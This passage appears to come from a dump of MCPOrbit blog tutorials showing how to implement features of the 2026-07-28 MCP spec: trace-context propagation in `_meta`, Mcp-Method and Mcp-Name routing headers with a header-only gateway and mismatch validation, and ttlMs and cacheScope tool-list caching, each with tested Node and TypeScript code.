and opens a child span, and the whole call becomes one connected trace instead of two disconnected halves. This matters because an MCP call crosses a process boundary. Your app opens a span, calls a tool on a remote MCP server, and the server does real work: a database query, an API call, another MCP hop. Without propagation, the server work lands in a separate trace with no parent, so you cannot see which user request caused which tool call. Orphan server spans are the reason a slow tool call is so hard to attribute: the span exists, but nothing links it to the request that caused it. Trace context in `_meta` fixes it, and you can wire it today with zero dependencies. **What you will build** - A client that injects `traceparent` and `baggage` into each MCP request's `_meta`. - A stateless MCP server over Streamable HTTP that continues the trace as a child span. - A runnable test that proves the client and server share one trace id, with correct parent linkage. - All of it in plain Node, no OpenTelemetry SDK and no framework required. ## Why MCP calls show up as orphan traces Distributed tracing works by passing a trace id across every hop. HTTP does this with the `traceparent` header. But an MCP request rides inside a JSON-RPC body, and a tool call can be relayed by a gateway that never touches your HTTP headers. If the trace id only lives in the transport header, it gets dropped the moment the message is repackaged. The server then starts a fresh trace, and your tool call has no parent. The fix is to carry trace context in the message itself. MCP messages already have a `_meta` bag for exactly this kind of cross-cutting metadata. Put the `traceparent` there and it survives every relay, because it travels with the payload, not the connection. ## What the 2026-07-28 spec standardizes Before the 2026-07-28 revision, teams invented their own `_meta` keys for trace ids and none of them agreed. SEP-414 fixes the names. It documents three `_meta` keys that mirror the W3C Trace Context standard: `traceparent` (the trace id and parent span id), `tracestate` (vendor-specific trace data), and `baggage` (key-value context like a tenant id). Because the values use the W3C format, any OpenTelemetry-compatible backend, Honeycomb, Jaeger, Datadog, or a raw collector, can ingest them without translation. > **Version pin** > > As of early August 2026 the released `@modelcontextprotocol/sdk` is 1.30.0, and it implements protocol `2025-11-25`, not `2026-07-28`. It does not read or write `_meta` trace context for you yet. Until it does, you wire the three keys at the transport boundary yourself, which is exactly what this post does. The format below is stable regardless of which SDK version ships it. ## The trace-context helpers Start with the W3C format. A `traceparent` is a single string: `00-<32-hex trace id>-<16-hex span id>-<2-hex flags>`. These helpers generate and parse it. No dependency, just `node:crypto`. Save this as `trace.mjs`. ```javascript // Minimal W3C Trace Context helpers (https://www.w3.org/TR/trace-context/). // The 2026-07-28 MCP spec (SEP-414) propagates OpenTelemetry context through the // `_meta` keys `traceparent`, `tracestate`, and `baggage` on every request and // result, using the same W3C wire format your HTTP stack already speaks. import { randomBytes } from "node:crypto"; const hex = (n) => randomBytes(n).toString("hex"); export const newTraceId = () => hex(16); // 16 bytes -> 32 hex chars export const newSpanId = () => hex(8); // 8 bytes -> 16 hex chars // "00-<32-hex trace-id>-<16-hex span-id>-<2-hex flags>" export function formatTraceparent({ traceId, spanId, sampled = true }) { return `00-${traceId}-${spanId}-${sampled ? "01" : "00"}`; } export function parseTraceparent(value) { if (typeof value !== "string") return null; const m = /^00-([0-9a-f]{32})-([0-9a-f]{16})-([0-9a-f]{2})$/.exec(value); if (!m) return null; return { traceId: m[1], parentSpanId: m[2], sampled: (parseInt(m[3], 16) & 1) === 1 }; } ``` ## Inject trace context on the client The client owns the active span. On each outbound call it mints a fresh call span, formats it into `traceparent`, and drops it into the request `_meta` alongside the required `clientInfo`. It also carries `baggage` so context like a tenant id reaches the server. Save this as `client.mjs`. ```javascript // An MCP client that INJECTS its active span context into every request's // `_meta`, so the server can continue the same trace (2026-07-28 / SEP-414). import { formatTraceparent, newSpanId } from "./trace.mjs"; export class TracingMcpClient { // `span` is the caller's active span: { traceId, spanId }. In real code this // comes from your OTel tracer's current context; here it's passed in so the // trace is deterministic and testable. constructor(endpoint, span, { baggage } = {}) { this.endpoint = endpoint; this.span = span; this.baggage = baggage; } async _rpc(method, params) { // Each outbound call is its own client span, child of the active span, // and THAT is what we advertise to the server as the parent. const callSpanId = newSpanId(); const _meta = { traceparent: formatTraceparent({ traceId: this.span.traceId, spanId: callSpanId }), "io.modelcontextprotocol/clientInfo": { name: "trace-demo-client", version: "1.0.0" }, }; if (this.baggage) _meta.baggage = this.baggage; const res = await fetch(this.endpoint, { method: "POST", headers: { "content-type": "application/json", "Mcp-Method": method, "Mcp-Name": params?.name ?? "" }, body: JSON.stringify({ jsonrpc: "2.0", id: 1, method, params, _meta }), }); return (await res.json()).result; } listTools() { return this._rpc("tools/list"); } callTool(name, args) { return this._rpc("tools/call", { name, arguments: args }); } } ``` ## Continue the trace on the server The server is stateless, per the 2026-07-28 transport. It reads `_meta.traceparent`, extracts the trace id and the client's span id, and starts a server span that reuses the trace id and points its parent at the client span. That single step is what joins the two halves. It then echoes trace context back on the result `_meta` so the client can link the response. Save this as `server.mjs`. ```javascript // A stateless MCP server over Streamable HTTP that CONTINUES the caller's trace. // It reads W3C trace context from each request's `_meta` (2026-07-28 / SEP-414), // opens a child span under the client's span, and stamps its own serverInfo. No // SDK needed: the released @modelcontextprotocol/sdk (1.30.0) tops out at // protocol 2025-11-25 and doesn't wire `_meta` trace context yet, so we do it // at the transport boundary. import { createServer } from "node:http"; import { parseTraceparent, newSpanId } from "./trace.mjs"; // A stand-in for your real tracer (OTel SDK, Honeycomb, Jaeger, etc.). We just // record spans in memory so the demo can assert the trace is connected. export const recordedSpans = []; function startServerSpan(name, meta) { const ctx = parseTraceparent(meta?.traceparent); const span = { name, traceId: ctx?.traceId ?? "orphan", // same trace as the client, or a new root spanId: newSpanId(), parentSpanId: ctx?.parentSpanId ?? null, // link to the client's span baggage: meta?.baggage ?? null, // e.g. "tenant=acme" }; recordedSpans.push(span); return span; } function handle(msg) { const { id, method, params, _meta } = msg; const span = startServerSpan(`mcp.server ${method}`, _meta); let result; if (method === "tools/call") { result = { content: [{ type: "text", text: `handled ${params?.name}` }] }; } else { result = { tools: [{ name: "ping" }] }; } return { jsonrpc: "2.0", id, result: { ...result, resultType: "complete", // Echo trace context back so the client can link the response too. _meta: { "io.modelcontextprotocol/serverInfo": { name: "trace-demo", version: "1.0.0" }, traceparent: `00-${span.traceId}-${span.spanId}-01`, }, }, }; } export function createMcpServer() { return createServer((req, res) => { if (req.method !== "POST") return void res.writeHead(405).end(); let body = ""; req.on("data", (c) => (body += c)); req.on("end", () => res .writeHead(200, { "content-type": "application/json" }) .end(JSON.stringify(handle(JSON.parse(body)))), ); }); } if (import.meta.url === `file://${process.argv[1]}`) { createMcpServer().listen(8931, () => console.log("MCP server on :8931")); } ``` ## Run it and prove the trace is connected The test starts the server, makes two calls under one root span, and asserts the invariants that define a connected trace: every server span shares the client's trace id, every server span has a parent span id, baggage arrived, and the echoed response context is still the same trace. Save this as `demo.mjs`. ```javascript // Runnable proof: the client's trace flows into the server as ONE connected // trace (shared traceId, correct parent linkage, baggage carried). Run: `node demo.mjs` import assert from "node:assert/strict"; import { createMcpServer, recordedSpans } from "./server.mjs"; import { TracingMcpClient } from "./client.mjs"; import { newTraceId, newSpanId, parseTraceparent } from "./trace.mjs"; const server = createMcpServer(); await new Promise((r) => server.listen(0, r)); const url = `http://127.0.0.1:${server.address().port}`; // A request comes in with an active trace (e.g. from the user-facing app). const rootSpan = { traceId: newTraceId(), spanId: newSpanId() }; const client = new TracingMcpClient(url, rootSpan, { baggage: "tenant=acme" }); const r1 = await client.listTools(); const r2 = await client.callTool("get_forecast", { city: "Lisbon" }); // 1) Both server spans joined the SAME trace as the client - no orphans. assert.equal(recordedSpans.length, 2); for (const s of recordedSpans) assert.equal(s.traceId, rootSpan.traceId, "server span shares client traceId"); // 2) Each server span is a CHILD of the client call span (parent linkage set). for (const s of recordedSpans) assert.match(s.parentSpanId, /^[0-9a-f]{16}$/); // 3) Baggage (tenant=acme) rode along to the server. for (const s of recordedSpans) assert.equal(s.baggage, "tenant=acme"); // 4) The server echoed trace context back on the result, still the same trace. assert.equal(parseTraceparent(r1._meta.traceparent).traceId, rootSpan.traceId); assert.equal(parseTraceparent(r2._meta.traceparent).traceId, rootSpan.traceId); server.close(); console.log(`PASS - 1 trace ${rootSpan.traceId} spans client + ${recordedSpans.length} server spans; baggage carried; response context linked.`); ``` Run the whole thing with one command. There are no dependencies to install. ```bash node demo.mjs ``` ```text PASS - 1 trace 4eac8719ec3d713f522393de1d011407 spans client + 2 server spans; baggage carried; response context linked. ``` Two calls, one trace id, both server spans parented to the client. Point `startServerSpan` at your real tracer instead of the in-memory array and the same MCP call now appears as one span tree in your tracing backend. > **Do not trust the transport header alone** > > If a gateway sits between client and server, forward `_meta.traceparent`, not just the HTTP `traceparent` header. The 2026-07-28 spec also requires `Mcp-Method` and `Mcp-Name` headers on Streamable HTTP POSTs, so a tracing gateway can even open its own span from the headers without parsing the body. But the id that survives repackaging is the one in `_meta`. ## Frequently asked questions ## Frequently asked questions ### How do I add distributed tracing to an MCP server? Read the `traceparent` value from each request's `_meta`, parse the trace id and parent span id out of the W3C format, and start your server span with that trace id and parent. The 2026-07-28 MCP spec (SEP-414) standardizes `traceparent`, `tracestate`, and `baggage` as `_meta` keys for this. ### Where does MCP put the trace id, in headers or the body? In the message `_meta`, not the HTTP headers. `_meta` travels with the JSON-RPC payload, so the trace id survives gateways and relays that repackage the message and would otherwise drop a transport header. ### Does the MCP SDK handle trace context for me? Not in the released `@modelcontextprotocol/sdk` 1.30.0, which implements protocol 2025-11-25. Until an SDK version ships 2026-07-28 support, inject and read the three `_meta` keys yourself at the transport boundary, as shown here. The W3C format stays the same either way. ### What is baggage in MCP trace context? `baggage` is a `_meta` key holding W3C Baggage: comma-separated key-value pairs like `tenant=acme` that ride with the request. It carries application context (tenant, request source) alongside the trace id so your spans can be filtered by it. ### Do I need OpenTelemetry to use MCP trace context? No. The values are plain W3C Trace Context strings, so you can generate and parse them with a few lines of code, as this post does. An OpenTelemetry SDK helps once you have many services, but it is not required to make MCP calls join one trace. Traces only help if the calls are shaped the way you think. [Wire the server into MCPOrbit](/blog/add-an-mcp-server-to-mcporbit), call the tool, and confirm the `_meta` keys ride along. Then wire the traces to a backend that understands MCP. [Download MCPOrbit for macOS](/api/download) --- # How to route MCP requests with Mcp-Method and Mcp-Name headers URL: https://mcporbit.com/blog/mcp-routing-headers-mcp-method-mcp-name Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-02 Updated: 2026-09-03 Category: Tutorial Tags: MCP, Gateways, Routing, TypeScript, 2026-07-28 Spec The 2026-07-28 MCP spec requires Mcp-Method and Mcp-Name headers so gateways route MCP traffic without reading the body. Here is how, tested on Node 25. The 2026-07-28 MCP spec (SEP-2243) requires two HTTP headers on every Streamable HTTP POST: Mcp-Method carries the JSON-RPC method (for example tools/call), and Mcp-Name carries the target name (for example get_order_status) on any request that names a tool, resource, or prompt. With the operation in the headers, a load balancer, gateway, or rate limiter can route and throttle MCP traffic without parsing the request body. Below is how to emit the headers from a client, act on them in a gateway, and validate them on the server, with TypeScript that runs on Node 25. ## What problem do Mcp-Method and Mcp-Name solve? A stateless MCP server (the model the 2026-07-28 spec pushes you toward) sits behind ordinary infrastructure: a load balancer, a proxy, a WAF, a rate limiter. That infrastructure needs to make decisions per operation. It wants to send resources/read to a read replica, or throttle one expensive tool, or count calls per tenant. Before SEP-2243 the only way to know what an MCP POST was doing was deep packet inspection: parse the JSON-RPC body at the edge. That is slow, brittle, and often impossible when the body is streamed or large. SEP-2243 moves the routing-relevant facts into headers. Mcp-Method rides on every request. Mcp-Name rides on requests that name a tool, resource, or prompt. A gateway reads two headers and routes. It never touches the body. - Mcp-Method is required on every Streamable HTTP POST. Its value is the JSON-RPC method, for example tools/call, tools/list, or resources/read. - Mcp-Name is required when the request names a target. Its value is the tool, resource, or prompt name, for example get_order_status. - x-mcp-header lets a server declare that a specific tool argument should be copied into a custom request header, so infrastructure can route on things like tenant or region too. - The server rejects any request whose headers disagree with the body. That mismatch returns HeaderMismatchError, JSON-RPC code -32020. This guarantee is what makes header-only routing safe. > **Why this matters for stateless MCP** > > The 2026-07-28 spec removed protocol-level sessions and the Mcp-Session-Id header, so any replica can serve any request. Header-based routing is the other half of that story: once every replica is interchangeable, the edge still needs a cheap way to route and rate-limit per operation. Mcp-Method and Mcp-Name are that way. ## How does a gateway route on the headers without reading the body? It only ever looks at the two headers. Here is a small gateway that routes reads to a replica pool and rate-limits one named tool. Notice that the routing function is handed the headers and nothing else, so there is no way for it to parse a body even by accident: ```typescript // gateway.ts // A gateway, load balancer, or rate limiter that acts on MCP traffic using // ONLY the HTTP headers. It never parses the JSON-RPC body. That is the whole // point of SEP-2243: the method and the target name ride in Mcp-Method and // Mcp-Name, so infrastructure routes and throttles without deep packet // inspection. type RouteDecision = | { action: "forward"; pool: string } | { action: "reject"; status: number; reason: string }; export function makeGateway(opts: { limits?: Record } = {}) { const limits = opts.limits ?? {}; const counts = new Map(); // tool name -> calls this window // `route` is deliberately given only the headers, never the body, to prove // no body parsing happens. return function route(headers: Record): RouteDecision { const method = headers["mcp-method"]; const name = headers["mcp-name"]; // 1. Route by method. Reads go to replicas, everything else to primary. const pool = method === "resources/read" || method === "resources/list" ? "read-replicas" : "primary"; // 2. Rate-limit a specific tool by name, header-only. A gateway can shed // load on expensive_report without knowing anything else in the payload. if (method === "tools/call" && name && name in limits) { const n = (counts.get(name) ?? 0) + 1; counts.set(name, n); if (n > limits[name]) { return { action: "reject", status: 429, reason: `rate limit exceeded for ${name}` }; } } return { action: "forward", pool }; }; } ``` That is the whole point of SEP-2243 in one file. The gateway rate-limits expensive_report by reading Mcp-Name. It sends resources/read to read-replicas by reading Mcp-Method. A real gateway would do this in nginx, Envoy, or an API gateway config, but the logic is identical: match on Mcp-Method and Mcp-Name, act, forward. ## How does a client attach the routing headers? Set Mcp-Method on every request. Set Mcp-Name whenever the request names a tool, resource, or prompt. For x-mcp-header, copy the chosen tool argument into a custom header. This small helper does all three: ```typescript // client.ts // Attaches the SEP-2243 routing headers to every Streamable HTTP POST. // Mcp-Method rides on every request. Mcp-Name rides on requests that name a // tool, resource, or prompt. x-mcp-header lifts a chosen tool argument into a // custom header so infrastructure can route on it too. type JsonRpc = { jsonrpc: "2.0"; id: number | string; method: string; params?: { name?: string; arguments?: Record }; }; export function buildRequest( rpc: JsonRpc, opts: { headerParams?: Record } = {}, ) { const headers: Record = { "content-type": "application/json", "mcp-method": rpc.method, // required on every POST }; const name = rpc.params?.name; if (name) headers["mcp-name"] = name; // only when a target is named // x-mcp-header: promote declared tool arguments into custom headers so a // gateway can route on them (for example, a tenant or region). for (const [arg, headerName] of Object.entries(opts.headerParams ?? {})) { const value = rpc.params?.arguments?.[arg]; if (value !== undefined) headers[headerName] = String(value); } return { headers, body: JSON.stringify(rpc) }; } ``` > **The honest SDK gap** > > The 2026-07-28 spec requires these headers, but the current stable SDK line predates the spec and does not attach or enforce them for you. So you add them at your HTTP layer today, exactly as shown here. The header names and semantics are fixed by SEP-2243, so when a later SDK adds first-class support, the wire format does not change and neither does your gateway config. ## How does the server stop a header from lying about the body? Header-only routing is only safe if the header is trustworthy. If a client could send Mcp-Method: resources/read while the body actually calls a tool, a gateway would route it wrong and a rate limit would be trivial to bypass. SEP-2243 closes that hole: the server MUST reject a request whose headers disagree with the body, returning HeaderMismatchError with code -32020. The server is the enforcement point that lets the gateway trust the header: ```typescript // server.ts // A stateless MCP request handler that trusts the SEP-2243 routing headers // only after it has proven they agree with the JSON-RPC body. // On disagreement it returns HeaderMismatchError (-32020), the code the // 2026-07-28 spec assigns to this case. export const HEADER_MISMATCH = -32020; // HeaderMismatchError (SEP-2243) export const METHOD_NOT_FOUND = -32601; export const INVALID_PARAMS = -32602; type JsonRpc = { jsonrpc: "2.0"; id: number | string; method: string; params?: { name?: string; arguments?: Record }; }; const TOOLS: Record) => unknown> = { get_order_status: (args) => ({ orderId: args.id, status: "shipped" }), expensive_report: (args) => ({ report: `report for ${args.region}`, rows: 10_000 }), }; export function handleMcpRequest(headers: Record, body: JsonRpc) { const headerMethod = headers["mcp-method"]; const headerName = headers["mcp-name"]; const { id, method, params } = body; // The contract that makes header-only routing safe: the server rejects any // request whose headers lie about the body. A gateway can then act on the // header alone, because the server guarantees the header matches the body. if (headerMethod !== method) { return err(id, HEADER_MISMATCH, `Mcp-Method "${headerMethod}" != body method "${method}"`); } const bodyName = params?.name; if (bodyName !== undefined && headerName !== bodyName) { return err(id, HEADER_MISMATCH, `Mcp-Name "${headerName}" != body params.name "${bodyName}"`); } if (method === "tools/call") { const fn = TOOLS[params?.name as string]; if (!fn) return err(id, INVALID_PARAMS, `unknown tool ${params?.name}`); return { jsonrpc: "2.0", id, result: { structuredContent: fn(params?.arguments ?? {}) } }; } return err(id, METHOD_NOT_FOUND, `method not found: ${method}`); } function err(id: number | string, code: number, message: string) { return { jsonrpc: "2.0", id, error: { code, message } }; } ``` The validation is two comparisons: Mcp-Method against the body method, and Mcp-Name against params.name when a name is present. Any disagreement returns -32020 before the tool ever runs. Once this check is in place, a gateway upstream can act on the headers alone, because the server guarantees they match the body. ## Does this actually work? (tested) Yes. Routing headers are an HTTP transport concern, so the test uses plain Node with no MCP SDK dependency, which is honest: a load balancer or gateway does not run the MCP SDK either. The suite proves the client attaches the headers, the gateway routes and rate-limits on headers alone, x-mcp-header promotes an argument, and the server returns -32020 on any mismatch. Run against Node v25.8.1: ```typescript // routing.test.ts import { test } from "node:test"; import assert from "node:assert/strict"; import { handleMcpRequest, HEADER_MISMATCH } from "./server.ts"; import { makeGateway } from "./gateway.ts"; import { buildRequest } from "./client.ts"; test("client attaches Mcp-Method on every request and Mcp-Name when a tool is named", () => { const { headers } = buildRequest({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: "get_order_status", arguments: { id: "A-1" } }, }); assert.equal(headers["mcp-method"], "tools/call"); assert.equal(headers["mcp-name"], "get_order_status"); }); test("a request with no named target carries Mcp-Method but no Mcp-Name", () => { const { headers } = buildRequest({ jsonrpc: "2.0", id: 2, method: "tools/list" }); assert.equal(headers["mcp-method"], "tools/list"); assert.equal(headers["mcp-name"], undefined); }); test("gateway routes by method using headers only, never the body", () => { const route = makeGateway(); // Note: route() is only ever handed headers. There is no body in scope. assert.deepEqual(route({ "mcp-method": "resources/read", "mcp-name": "file://x" }), { action: "forward", pool: "read-replicas", }); assert.deepEqual(route({ "mcp-method": "tools/call", "mcp-name": "get_order_status" }), { action: "forward", pool: "primary", }); }); test("gateway rate-limits a tool by header name alone", () => { const route = makeGateway({ limits: { expensive_report: 2 } }); const h = { "mcp-method": "tools/call", "mcp-name": "expensive_report" }; assert.equal(route(h).action, "forward"); // 1 assert.equal(route(h).action, "forward"); // 2 const third = route(h); // 3 -> over the limit assert.equal(third.action, "reject"); assert.equal((third as { status: number }).status, 429); }); test("x-mcp-header promotes a tool argument into a custom routing header", () => { const { headers } = buildRequest( { jsonrpc: "2.0", id: 3, method: "tools/call", params: { name: "expensive_report", arguments: { region: "eu-west-1" } }, }, { headerParams: { region: "x-mcp-header-region" } }, ); assert.equal(headers["x-mcp-header-region"], "eu-west-1"); }); test("server rejects a Mcp-Method that disagrees with the body (-32020)", () => { const res = handleMcpRequest( { "mcp-method": "resources/read", "mcp-name": "get_order_status" }, // header lies { jsonrpc: "2.0", id: 4, method: "tools/call", params: { name: "get_order_status" } }, ); assert.equal((res as any).error.code, HEADER_MISMATCH); }); test("server rejects a Mcp-Name that disagrees with the body (-32020)", () => { const res = handleMcpRequest( { "mcp-method": "tools/call", "mcp-name": "delete_everything" }, // name lies { jsonrpc: "2.0", id: 5, method: "tools/call", params: { name: "get_order_status" } }, ); assert.equal((res as any).error.code, HEADER_MISMATCH); }); test("server dispatches when headers and body agree (client -> gateway -> server)", () => { const rpc = { jsonrpc: "2.0" as const, id: 6, method: "tools/call", params: { name: "get_order_status", arguments: { id: "A-42" } }, }; const { headers, body } = buildRequest(rpc); const decision = makeGateway()(headers); assert.equal(decision.action, "forward"); const res = handleMcpRequest(headers, JSON.parse(body)); assert.deepEqual((res as any).result.structuredContent, { orderId: "A-42", status: "shipped" }); }); ``` > tests 8 · pass 8 · fail 0 on Node v25.8.1 (TypeScript run directly, no external dependencies) ## One-command run - Save server.ts, gateway.ts, client.ts, and routing.test.ts side by side. - Run node --test on Node 25, which executes the TypeScript files directly. - Expect tests 8 · pass 8 · fail 0. --- ## FAQ ## Frequently asked questions ### What are the Mcp-Method and Mcp-Name headers in MCP? They are HTTP headers added by SEP-2243 in the 2026-07-28 MCP spec, required on Streamable HTTP POST requests. Mcp-Method carries the JSON-RPC method (for example tools/call). Mcp-Name carries the target name (for example get_order_status) on requests that name a tool, resource, or prompt. They let gateways route and rate-limit on the operation without parsing the body. ### Why not just parse the JSON-RPC body at the gateway? Parsing the body at the edge is deep packet inspection: slow, brittle, and sometimes impossible when the body is large or streamed. Putting the method and target name in headers lets a load balancer, proxy, or rate limiter make decisions from two header reads, so MCP traffic routes like any other HTTP traffic. ### What happens if the headers disagree with the body? The server must reject the request with HeaderMismatchError, JSON-RPC error code -32020 in the 2026-07-28 spec. That guarantee is what makes header-only routing safe: a gateway can trust Mcp-Method and Mcp-Name because the server refuses any request where they do not match the body. ### What is the x-mcp-header mechanism? SEP-2243 also lets a server declare that a specific tool argument should be copied into a custom request header, using the x-mcp-header convention. This lets infrastructure route on values like tenant or region that live inside the tool arguments, without the gateway parsing the body. ### Does the MCP SDK attach these headers for me? Not on the current stable SDK line, which predates the 2026-07-28 spec. You attach Mcp-Method and Mcp-Name at your HTTP layer today, as shown in the tested client above. The header names and behavior are fixed by SEP-2243, so a later SDK with first-class support uses the same wire format. ### Are Mcp-Method and Mcp-Name required or optional? Required on Streamable HTTP POST requests in the 2026-07-28 spec. Mcp-Method is on every request. Mcp-Name is on every request that names a tool, resource, or prompt. A server that follows the spec validates both against the body and rejects mismatches with -32020. --- # How to cache your MCP server's tool list (ttlMs and cacheScope, 2026-07-28 spec) URL: https://mcporbit.com/blog/cache-mcp-tool-list-ttlms-cachescope Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-01 Updated: 2026-09-03 Category: Tutorial Tags: MCP, Caching, Tool List, TypeScript, 2026-07-28 Spec The 2026-07-28 MCP spec adds ttlMs and cacheScope to tools/list. Here's how to emit them from your server and honor them in a client, so clients stop re-polling your tool list on every turn. Tested TypeScript against @modelcontextprotocol/sdk@1.30.0. The 2026-07-28 MCP spec (SEP-2549) lets your server tell clients how long to trust its tool list: return ttlMs, a freshness hint in milliseconds, and cacheScope ("public" or "private") on your tools/list response, and a client can serve that list from cache for the whole window instead of re-fetching it on every turn. A tools/list_changed notification still forces an early refresh, so you get caching without going stale. Below is exactly how to emit both fields from a server and honor them in a client, with TypeScript that runs against @modelcontextprotocol/sdk@1.30.0. ## What do ttlMs and cacheScope actually do? SEP-2549 adds two optional fields to the results of tools/list, prompts/list, resources/list, resources/read, and resources/templates/list. The model is borrowed directly from HTTP Cache-Control, and it supplements the existing listChanged notifications, and it does not replace them. - ttlMs is an integer freshness hint in milliseconds. A client may reuse the cached response for this long before re-fetching. It is a hint, not a lock: the client can always refetch sooner. - cacheScope is either "public" or "private". "public" tells shared intermediaries (a gateway, a proxy, a fleet-wide cache) they may cache the response; "private" restricts caching to the single client that made the call. - Both fields are optional. If they're absent, nothing changes: a client keeps its prior behavior (typically: refetch when it needs the list, and rely on listChanged to know when it's stale). - listChanged still wins. A tools/list_changed notification invalidates the cache immediately, regardless of remaining TTL. TTL bounds how long you'll trust the list without a signal; listChanged is the signal that arrives early. > **Why this exists** > > A stateless MCP server (mandatory-ish under the 2026-07-28 spec) can be hit by every replica on every turn just to re-list tools that haven't changed in days. ttlMs turns that from N calls per conversation into one call per TTL window, while cacheScope decides whether a shared gateway is allowed to answer on the server's behalf. ## How do I emit ttlMs and cacheScope from my MCP server? Attach them to the tools/list result. As of @modelcontextprotocol/sdk@1.30.0 the SDK does not populate these fields for you, so you set them yourself on the object your handler returns. Use the low-level Server (not the FastMCP-style sugar) so you own the raw result: ```typescript // server.ts import { Server } from "@modelcontextprotocol/sdk/server/index.js"; import { ListToolsRequestSchema, CallToolRequestSchema, } from "@modelcontextprotocol/sdk/types.js"; const TOOLS = [ { name: "get_order", description: "Look up an order by id.", inputSchema: { type: "object", properties: { id: { type: "string" } }, required: ["id"], }, }, ]; export function makeServer() { const server = new Server( { name: "orders", version: "1.0.0" }, { capabilities: { tools: {} } }, ); server.setRequestHandler(ListToolsRequestSchema, async () => ({ tools: TOOLS, // SEP-2549 cache hints. Borrowed from HTTP Cache-Control. // Supplements listChanged; it does not replace it. ttlMs: 60_000, // clients may reuse this list for 60s cacheScope: "public" // a shared gateway may cache it too })); server.setRequestHandler(CallToolRequestSchema, async (req) => ({ content: [{ type: "text", text: `order ${req.params.arguments?.id}` }], })); return server; } ``` That's the whole server-side change: two extra keys on the object you already return. The 1.30.0 result schema passes them through to the client verbatim (verified below), so no custom serializer is needed. ### How should I pick a ttlMs value? - Tool list changes rarely (most servers): minutes. 60_000-300_000 ms. Pair it with a listChanged notification so an unexpected change still refreshes clients immediately. - Tool list is dynamic per user or per feature flag: seconds, and cacheScope: "private" so a shared gateway never serves one user's tool set to another. - Tool list is effectively static: minutes to an hour. The longer the TTL, the fewer redundant tools/list calls hit your stateless replicas. - When in doubt, favor a shorter TTL plus reliable listChanged over a long TTL with no signal. TTL caps staleness; listChanged eliminates it. ## How does a client honor ttlMs without going stale? The 1.30.0 client reads ttlMs and cacheScope off the result but does not cache for you, so you implement the cache. Keep it tiny: store the tools with an expiry, serve from the store inside the window, and expose an invalidate() you call the moment a tools/list_changed notification arrives. ```typescript // cachingClient.ts // Wraps an MCP Client so tools/list honors SEP-2549 ttlMs. // Inside the TTL window the cached list is returned and NO request // hits the server. export class ToolListCache { private cache: { tools: unknown[]; cacheScope: string; expiresAt: number } | null = null; networkCalls = 0; constructor( private client: { listTools(): Promise }, private now: () => number = () => Date.now(), ) {} async listTools() { if (this.cache && this.now() < this.cache.expiresAt) { return { tools: this.cache.tools, fromCache: true }; } this.networkCalls++; const res = await this.client.listTools(); const ttlMs = typeof res.ttlMs === "number" ? res.ttlMs : 0; this.cache = { tools: res.tools, cacheScope: res.cacheScope ?? "private", expiresAt: this.now() + ttlMs, }; return { tools: res.tools, fromCache: false, ttlMs, cacheScope: res.cacheScope }; } // A tools/list_changed notification must invalidate the cache // immediately, regardless of remaining TTL. invalidate() { this.cache = null; } } ``` Wire invalidate() to the notification the client already receives: client.setNotificationHandler(ToolListChangedNotificationSchema, () => cache.invalidate()). Now TTL bounds how long you'll trust the list without hearing anything, and listChanged clears the cache the instant something actually changes. ## Does this actually work on the shipped SDK? (tested) Yes, with one caveat worth stating plainly. On @modelcontextprotocol/sdk@1.30.0 the fields are not generated or consumed automatically, but they do survive the wire round-trip as top-level result fields, so the manual approach above is all you need. Here is the test that proves it, run against sdk@1.30.0, zod@4.4.3, Node 25: ```typescript // ttl-cache.test.ts import { test } from "node:test"; import assert from "node:assert/strict"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; import { makeServer } from "./server.js"; import { ToolListCache } from "./cachingClient.js"; async function connect() { const [ct, st] = InMemoryTransport.createLinkedPair(); const server = makeServer(); const client = new Client({ name: "test", version: "1.0.0" }, { capabilities: {} }); await Promise.all([server.connect(st), client.connect(ct)]); return client; } test("tools/list carries ttlMs + cacheScope over the wire", async () => { const client = await connect(); const res = await client.listTools(); assert.equal(res.ttlMs, 60_000); assert.equal(res.cacheScope, "public"); }); test("client serves from cache within TTL, zero extra network calls", async () => { const client = await connect(); let clock = 1_000; const cache = new ToolListCache(client, () => clock); await cache.listTools(); // networkCalls -> 1 clock += 59_000; // still inside 60s const second = await cache.listTools(); assert.equal(second.fromCache, true); assert.equal(cache.networkCalls, 1); // no second request }); test("cache re-fetches after ttlMs expires", async () => { const client = await connect(); let clock = 1_000; const cache = new ToolListCache(client, () => clock); await cache.listTools(); clock += 61_000; // past the window const third = await cache.listTools(); assert.equal(third.fromCache, false); assert.equal(cache.networkCalls, 2); }); test("listChanged invalidates immediately, even mid-TTL", async () => { const client = await connect(); let clock = 1_000; const cache = new ToolListCache(client, () => clock); await cache.listTools(); cache.invalidate(); // simulate list_changed const after = await cache.listTools(); assert.equal(after.fromCache, false); assert.equal(cache.networkCalls, 2); }); ``` > tests 4 · pass 4 · fail 0 on @modelcontextprotocol/sdk@1.30.0, zod@4.4.3, Node v25.8.1 > **The honest gap** > > 1.30.0 does not populate ttlMs/cacheScope for you and does not auto-cache on the client. You attach the fields on the server result and implement the cache on the client. Both are shown above. When a later SDK line adds first-class support, the wire format is identical, so your server code doesn't change. ## One-command run - npm i @modelcontextprotocol/sdk@1.30.0 zod@4.4.3 - Save server.ts, cachingClient.ts, and ttl-cache.test.ts side by side (compile to .js or run with a TS loader). - node --test, and expect tests 4 · pass 4 · fail 0. --- ## FAQ ## Frequently asked questions ### What is ttlMs in the MCP tools/list response? ttlMs is a freshness hint, in milliseconds, added by SEP-2549 in the 2026-07-28 spec. It tells a client how long it may reuse a cached tools/list (or prompts/list, resources/list, resources/read, resources/templates/list) result before re-fetching. It is a hint, not a lock; a client may refetch sooner. ### What's the difference between cacheScope "public" and "private"? "public" tells shared intermediaries (a gateway, proxy, or fleet-wide cache) that they may cache the response and serve it to multiple clients. "private" restricts caching to the single client that made the request, which is what you want when the tool or resource list is user-specific. ### Does ttlMs replace tools/list_changed notifications? No. SEP-2549 supplements listChanged; it does not replace it. TTL bounds how long a client trusts the list without hearing anything; a tools/list_changed notification invalidates the cache immediately, regardless of remaining TTL. Use both: TTL for the no-signal case, listChanged for the change-happened case. ### Does the @modelcontextprotocol/sdk populate ttlMs for me? Not as of 1.30.0. The SDK passes the fields through the wire round-trip, but you set them yourself on the tools/list result object (server side) and implement the cache that honors them (client side). The examples above are tested against sdk@1.30.0. ### What ttlMs value should I use? Match it to how often your tool list changes. Static lists: minutes to an hour. Rarely-changing lists: 60s-5min plus a listChanged notification. Per-user or feature-flagged lists: a 